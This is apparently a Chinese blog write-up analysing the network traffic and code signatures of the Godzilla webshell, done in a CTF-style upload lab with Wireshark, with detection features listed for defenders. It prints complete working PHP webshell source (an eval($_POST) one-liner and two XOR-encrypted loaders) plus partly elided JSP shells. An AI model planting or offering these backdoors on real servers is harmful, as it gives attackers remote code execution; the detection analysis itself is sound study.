浅析哥斯拉Webshell的流量
前言
上一篇复现solar时发现哥斯拉流量是经过加密的。本篇做进一步探讨哥斯拉流量的特征
为了贴近比赛特征,我们用wireshark来抓包分析而不用burpsuit
apache 服务器一般使用PHP搭建。tomcat 服务器一般使用jsp搭建。为了方便,本人使用小皮的apache服务器来进行研究。所以本篇用的是php木马而没有用jsp木马进行试验,不过流量的加密特征都是一样的。不影响分析。
1.哥斯拉生成shell
为什么要用哥斯拉生成shell?
本人测试用自己写的木马(包含php木马和jsp木马)都是连不上哥斯拉的。原因可能是因为哥斯拉的流量都是经过加密的。后续再研究。
哥斯拉生成shell的时候有4个重要的变量:密码、密钥、有效载荷、加密器
1.密码:Post请求中的参数名称(本次实验的密码为pass),以及用于和密钥一起进行加密运算。
2.密钥:用于对请求数据进行加密,加密过程中并非直接使用密钥明文,而是先计算密钥的md5值,然后取其前16位用于加密过程(本次实验的密钥为key,md5值为:3c6e0b8a9c15224a8228b9a98ca1531d)
3.有效载荷分为ASP、java、php、c#四种类型的payload
4.加密器分为base64和raw、evalbase64三大类。
我这里生成一个最简单的php木马,变量设置如下

2.开启wireshark并测试连接
我选择到upload靶场上传该木马。然后抓本地包(wireshark选择Adapter for loopback traffic capture)
这里我就直接选择了第一关,禁掉前端java后直接上传木马即可。可以看到成功上传

然后哥斯拉测试连接并添加

3.分析流量特征
来到wireshark会发现有3次请求

我们追踪流打开分析。
第一个请求包的数据非常非常大而且没有cookie。响应包没有数据并发送了set-cookie字段

第二个请求包有cookie了,响应包是一段相对固定长的串,长度为64个字节,分为前16字节,中间32字节,结尾16字节。前16个字节和结尾16个字节拼接起来是一个32位的md5字符串。它被拆分为了两部分,分别放在base64编码数据(也就是中间的32字节数据)的前后。

第三个请求包和响应包与第二个一样。就不截图展示了
总结:哥斯拉在进行初始化时会产生一个较大的数据包(第一个),后续操作产生的数据包则相对较小。
数据都是加密的,所以哥斯拉的抗静态检测能力很强,可以绕过许多市面上的查杀软件。但是仍然有一些特征是可以被察觉到的:
1.Accept字段:
哥斯拉的Accept字段默认是
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

2.cookie字段:
Cookie: PHPSESSID=bm3ao7878rdt50jhk2cu4f7b25;

注意是有分号的!
4.哥斯拉webshell木马特征
php
先看一下最常见的php木马
PHP_EVAL_XOR_BASE64 生成的shell:
<?php
eval($_POST["pass"]);
PHP_XOR_BASE64 生成的shell:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
PHP_XOR_RAW 生成的shell:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
jsp
既然是继上文solar的实验,solar里是jsp木马,我们再来探讨一下哥斯拉生成的jsp木马的特征
有效载荷为JAVADynamicPayload
加密器为JAVA_AES_BASE64 生成的shell:
<%!
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { public Class Q(byte[] cb) { ... } }
public byte[] x(byte[] s, boolean m) { ... }
public static String md5(String s) { ... }
public static String base64Encode(byte[] bs) throws Exception { ... }
public static byte[] base64Decode(String bs) throws Exception { ... }
%>
<%
try {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(pageContext);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} catch (Exception e) {}
%>
JAVA_AES_ROW 生成的shell:
<%!
String xc = "3c6e0b8a9c15224a";
class X extends ClassLoader { ... }
public byte[] x(byte[] s, boolean m) { ... }
%>
<%
try {
byte[] data = new byte[Integer.parseInt(request.getHeader("Content-Length"))];
java.io.InputStream inputStream = request.getInputStream();
int _num = 0;
while ((_num += inputStream.read(data, _num, data.length)) < data.length);
data = x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
} else {
request.setAttribute("parameters", data);
Object f = ((Class) session.getAttribute("payload")).newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(pageContext);
f.toString();
response.getOutputStream().write(x(arrOut.toByteArray(), true));
}
} catch (Exception e) {}
%>
不难看出,在默认脚本编码的情况下,jsp会出现xc、pass字符和Java反射(ClassLoadergetClass().getClassLoader()),base64加解码等特征。
现在再去看solar是不是一眼看出是哥斯拉webshell了?



